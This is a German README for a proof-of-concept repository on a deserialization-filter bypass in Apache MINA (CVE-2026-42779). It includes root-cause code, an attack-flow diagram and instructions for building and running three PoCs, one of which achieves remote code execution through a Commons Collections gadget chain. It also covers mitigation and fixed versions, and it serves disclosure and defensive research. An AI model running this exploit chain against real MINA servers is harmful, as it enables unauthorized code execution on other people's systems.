
Proof-of-Concept, das eine Umgehung des Deserialisierungsfilters in Apache MINA demonstriert, die zu Remote-Code-Ausführung führt, mit detaillierter Ursachenanalyse, Exploit-PoCs und Anleitung zur Behebung.
CVSS 3.1: 9.8 KRITISCH AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 Deserialisierung nicht vertrauenswürdiger Daten
Melder: Venkatraman Kumar, Securin
Advisory: Apache Mailing List
Apache MINA Versionen 2.1.0 bis 2.1.11 und 2.2.0 bis 2.2.6 enthalten einen Deserialisierungs-Filter-Bypass in AbstractIoBuffer.resolveClass(). Die acceptMatchers-Allowlist — die einschränken soll, welche Java-Klassen deserialisiert werden können — wird vollständig übersprungen, wenn ObjectStreamClass.forClass() null zurückgibt.
Ein Angreifer mit Netzwerkzugriff auf einen MINA-Endpunkt, der ObjectSerializationCodecFactory verwendet, kann ein Protokoll-Payload erstellen, das den Klassenfilter umgeht und so über standardmäßige Java-Deserialisierungs-Gadget-Ketten (z. B. Commons Collections) ermöglicht.
Dies ist ein unvollständiger Fix für CVE-2026-41635. Der ursprüngliche Patch wurde auf den 2.0.x-Zweig angewendet, aber aufgrund eines Merge-Versehens nie auf 2.1.x oder 2.2.x zurückportiert.
| Zweig | Verwundbar | Behoben |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
Die Schwachstelle liegt in AbstractIoBuffer.resolveClass(), das die Klassenauflösung während der Deserialisierung von Java-Objekten übernimmt.
MINA verwendet ein benutzerdefiniertes Serialisierungsprotokoll mit zwei Klassendeskriptor-Typen:
Im verwundbaren Code wird der acceptMatchers-Filter nur im Typ-1-Zweig geprüft (wenn forClass() nicht-null zurückgibt). Der Typ-0-Zweig ruft Class.forName() direkt auf und umgeht den Filter vollständig:
// AbstractIoBuffer.java — VERWUNDBAR (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// FEHLER: Keine acceptMatchers-Prüfung — Filter vollständig umgangen
return Class.forName(name, false, classLoader);
} else {
// Filter wird nur hier angewendet
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
Der Fix in 2.2.7 verschiebt die Filterprüfung vor den Zweig:
// AbstractIoBuffer.java — BEHOBEN (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// Filter wird ZUERST angewendet, unabhängig vom forClass()-Ergebnis
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... sichere Auflösung folgt
}
Angreifer Verwundbarer MINA-Server
| |
| 1. MINA-Payload mit Typ-0- |
| Deskriptoren für Gadget-Ketten-Klassen |
| |
| 2. Senden an Endpunkt mit |
| ObjectSerializationCodecFactory -------->|
| |
| 3. readClassDescriptor() liest Typ-0|
| → delegiert an super (Std. Java) |
| |
| 4. resolveClass() sieht forClass()==null
| → Class.forName() OHNE Filter |
| |
| 5. Gadget-Kette vollständig deserialisiert
| → readObject() löst Kette aus |
| → Runtime.exec() wird ausgelöst |
| |
| RCE ERREICHT |
IoBuffer.getObject() oder ObjectSerializationCodecFactoryaccept() konfiguriert (Anwendungen ohne Filter waren bereits über CVE-2026-41635 ausnutzbar)Der Angreifer kontrolliert den serialisierten Bytestrom. Durch die Verwendung von Typ-0-Klassendeskriptoren (anstatt Typ-1) für serialisierbare Gadget-Ketten-Klassen umgeht jede Klasse im Deserialisierungsgraphen den acceptMatchers-Filter, unabhängig von der Allowlist-Konfiguration der Anwendung.
Drei PoCs demonstrieren eine zunehmende Auswirkung:
| PoC | Was es beweist |
|---|---|
FilterBypassPoC.java | Filter-Bypass für primitive Typen, nicht-serialisierbare Klassen, Arrays |
CraftedBypassPoC.java | Angreifer-erstellte Typ-0-Payloads umgehen den Filter für JEDE serialisierbare Klasse |
RcePoC.java | Vollständige RCE über CC6-Gadget-Kette durch den Filter-Bypass |
Klassen, die nicht in der Accept-Liste stehen, werden ohne Einschränkung deserialisiert:

Ein Angreifer erstellt MINA-Protokoll-Payloads mit Typ-0-Deskriptoren, um jede Klasse an einer reinen String-Accept-Liste vorbeizuladen:

CC6-Varianten-Gadget-Kette (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) erreicht Befehlsausführung durch den Filter-Bypass:

Die gleichen Tests werden auf der behobenen Version blockiert:

Die Gadget-Kette wird vom Filter abgelehnt:

Der schnellste Weg zum Testen — kein JDK oder Maven erforderlich:
# Dieses Repo klonen
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# Alle PoCs bauen und ausführen
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# Einzelne PoCs ausführen
docker run --rm cve-2026-42779 bypass # Nur Filter-Bypass
docker run --rm cve-2026-42779 crafted # Erstelltes Payload-Bypass
docker run --rm cve-2026-42779 rce # Vollständige RCE
# In eine Shell wechseln zum Erkunden
docker run --rm -it cve-2026-42779 shell
Das Image enthält das verwundbare MINA 2.2.6-JAR, Commons Collections 3.2.2 und alle drei vorkompilierten PoCs. Alles läuft eigenständig im Container.
Wenn Sie lieber aus dem Quellcode bauen möchten:
# Verwundbare Version klonen und bauen
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# commons-collections herunterladen (für RCE-PoC)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# Die PoCs kompilieren
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# Filter-Bypass-PoC ausführen
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# Erstelltes Payload-PoC ausführen
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# Vollständigen RCE-PoC ausführen
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
Oder verwenden Sie das enthaltene Makefile:
make run-all # Alle drei PoCs bauen und ausführen
make run-rce # Nur den RCE-PoC
Anforderungen: JDK 11+ und Maven (für Quellcode-Build) oder Docker (für Container)
Upgrade auf Apache MINA 2.1.12 oder 2.2.7.
Wenn ein Upgrade nicht sofort möglich ist:
IoBuffer.getObject() oder ObjectSerializationCodecFactory nicht mit nicht vertrauenswürdigen Eingaben| Datum | Ereignis |
|---|---|
| 2026-05-01 | Advisory vom Apache MINA PMC veröffentlicht |
| 2026-05-01 | Behobene Versionen 2.1.12 und 2.2.7 veröffentlicht |
| 2026-05-02 | Dieser PoC entwickelt und getestet |
Dieser Proof of Concept wird ausschließlich für defensive Sicherheitsforschung, Bildung und autorisierte Penetrationstests bereitgestellt. Verwenden Sie ihn verantwortungsvoll und nur gegen Systeme, für die Sie die Erlaubnis zum Testen haben.